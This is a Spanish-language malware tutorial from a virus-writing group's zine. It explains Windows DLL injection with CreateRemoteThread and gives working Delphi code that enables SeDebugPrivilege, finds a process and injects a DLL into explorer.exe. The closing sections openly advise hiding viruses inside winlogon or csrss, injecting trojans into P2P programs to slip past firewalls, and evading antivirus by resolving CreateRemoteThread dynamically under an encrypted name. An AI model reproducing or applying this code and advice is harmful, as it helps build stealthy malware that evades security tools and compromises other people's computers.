#Inyecciones en procesos
#Autor: Khronos[GEDZAC] <khronos[at]gedzac[dot]com>
Básicamente de lo que trata este artículo es sobre la “inyección” del código de un ejecutable en un proceso remoto por medio de la función de la API (Application Programming Interface) CreateRemoteThread.
Inyectar una función de la API de Windows en un proceso.
En este sencillo ejemplo comprobaremos como funciona la función CreateRemoteThread:
Var
MsgBox : function(hWnd: HWND; lpText, lpCaption: PWideChar; uType: UINT): Integer;
hProc: THandle;
Thread: DWORD;
Begin
MsgBox:= GetProcAddress(LoadLibrary('user32.dll'), 'MessageBoxW');
hProc:= OpenProcess(PROCESS_ALL_ACCESS, False, 1128);
CreateRemoteThread(hProc, nil, 0, @MsgBox, POINTER(0), 0, Thread);
End;
Expliquemos un poco el código anterior: MsgBox es un puntero que apunta a la dirección de memoria de la function MessageBoxW en la librería user32.dll. hProc es el handle de un proceso cualquiera que abrimos en modo PROCESS_ALL_ACCESS.
Luego llamamos a la function CreateRemoteThread con los argumentos requeridos y se nos tendrá que abrir un MessageBox como este:
Inyectar una librería en un proceso
Para inyectar el código de una librería (Dynamic Link Library) o biblioteca de enlace dinámico, utilizaremos el método anterior y nos basaremos en la función de la API de Windows LoadLibrary. Con la función CreateRemoteThread inyectaremos en un proceso la function LoadLibrary pasándole como puntero la dirección de la dll que vamos a inyectar en el proceso.
Empezamos creando el código de nuestra librería:
library Proc;
uses
Windows;
begin
MessageBox(0, 'GEDZAC', '...', 0);
end.
Las librerías no se pueden ejecutar como los ejecutables, pero si tienen una sección de código que se ejecuta cuando las llamas con Rundll.exe o mediante la API LoadLibrary que vendría a ser lo mismo. Por ejemplo:
Poniendo esto en la línea de commandos: Rundll32.exe C:\Proc.dll, 0
Ahora vamos a crear el ejecutable inyector de la librería de enlace dinámico en un proceso.
Program Inyector;
{$SetPeFlags 1}
//Sólo versiones superiores al Delphi 2005, reduce el tamaño del ejecutable
{$APPTYPE GUI}
Uses
Windows;
function EnabledDebugPrivilege(const Enabled : Boolean) : Boolean;
var
hTk : THandle;
rtnTemp : Dword;
TokenPri : TOKEN_PRIVILEGES;
const
SE_DEBUG = 'SeDebugPrivilege';
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hTk)) then
begin
TokenPri.PrivilegeCount := 1;
LookupPrivilegeValue(nil,SE_DEBUG,TokenPri.Privileges[0].Luid);
if Enabled then
TokenPri.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
TokenPri.Privileges[0].Attributes := 0;
rtnTemp := 0;
AdjustTokenPrivileges(hTk,False,TokenPri,sizeof(TokenPri),nil,rtnTemp);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hTk);
end;
end;
function GetProcessID(Exename: string): DWORD;
var
hProcSnap: THandle;
pe32: TProcessEntry32;
begin
result := 0;
hProcSnap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
if hProcSnap <> INVALID_HANDLE_VALUE then
begin
pe32.dwSize := SizeOf(ProcessEntry32);
if Process32First(hProcSnap, pe32) = true then
begin
while Process32Next(hProcSnap, pe32) = true do
begin
if pos(Exename, pe32.szExeFile) <> 0 then
result := pe32.th32ProcessID;
end;
end;
CloseHandle(hProcSnap);
end;
end;
function InjectTo(const Host, Guest: string): DWORD;
var
hRemoteProcess: THandle;
dwRemoteProcessId: DWORD;
memSize: DWORD;
pszLibFileRemote: Pointer;
iReturnCode: Boolean;
TempVar: DWORD;
pfnStartAddr: TFNThreadStartRoutine;
pszLibAFilename: PwideChar;
begin
Result := 0;
EnabledDebugPrivilege(True);
Getmem(pszLibAFilename, Length(Guest) * 2 + 1);
StringToWideChar(Guest, pszLibAFilename, Length(Guest) * 2 + 1);
dwRemoteProcessID:=GetProcessId(host);
hRemoteProcess := OpenProcess(PROCESS_CREATE_THREAD + PROCESS_VM_OPERATION +
PROCESS_VM_WRITE,
FALSE, dwRemoteProcessId);
memSize := (1 + lstrlenW(pszLibAFilename)) * sizeof(WCHAR)*2;
pszLibFileRemote := PWIDESTRING(VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE));
TempVar := 0;
iReturnCode := WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, TempVar);
if iReturnCode then
begin
pfnStartAddr := GetProcAddress(GetModuleHandle('Kernel32'), 'LoadLibraryW');
TempVar := 0;
Result := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, TempVar);
end;
Freemem(pszLibAFilename);
end;
//Inicio del programa
begin
InjectTo(‘explorer.exe’, ‘C:\Proc.dll’);
end.
Explicación del código:
La función InjectTo carga mediante la API de Windows LoadLibrary una librería de enlace dinámico en un nuevo Thread dentro de un proceso. Recomiendo que se busque información en MSDN sobre cada una de las funciones de la API de windows que empleo.. Lo que hago es reservar espacio en la memoria de un proceso para poder crear el nuevo Thread, que va a ser nuestra dll.
Utilidad de las inyecciones de memoria.
Pues bien, la posibilidad más clara que vemos a simple vista es que conseguimos que nuestro virus sea invisible en el TaskManager, recomiendo que se emple la API CreateRemoteThread con el proceso winlogon o csrss, ya que en ningún momento se van a poder detener esos procesos porque son vitals para el Sistema Operativo.
Otra posibilidad que no se ve a simple vista y que es muy interesante es la de crear un troyano que emplee esta técnica. El virus se encargaría de encontrar procesos como Ares.exe, eMule.exe, Kazaa.exe o cualquier otro programa que funcione como servidor en un pc, y cuando los encuentre inyectará el código del troyano en él.
El problema de los troyanos es que cualquier FireWall los detecta cuando se ponen a escuchar a través de un puerto y la única forma de evitar que nos parara el firewall era desactivandolo. El Firewall de Windows tiene mil formas de desactivarlo, pero el de los antivirus no. Que es más fácil, ¿crear un virus que desactive todos los firewall del mercado? o ¿uno que se los salte todos utilizando otro programa de chivo espiatorio?
La primera opción es la ideal, pero es inviable y la segunda es muy efectiva y la puedes conseguir fácilmente. Pero eso ya no entra dentro de este artículo.
Recomendación: La API CreateRemoteThread es detectada por los antivirus por lo tanto la solución sería cargarla dinámicamente con GetProcessAddress y cifrando su indentificador:
Var
pThread: function (hProcess: THandle; lpThreadAttributes: Pointer;
dwStackSize: DWORD; lpStartAddress: TFNThreadStartRoutine; lpParameter: Pointer;
dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle;
begin
pThread:= GetProcAddress(LoadLibrary('kernel32'), 'CreateRemoteThread');
end;
Sería algo así aunque el string ‘CreateRemoteThread’ lo tendríamos cifrado.
Bueno aquí se termina este manual, espero que te haya sido utilidad. Cualquier duda o consejo a mi mail.
(C) Mitosis 4 - GEDZAC LABS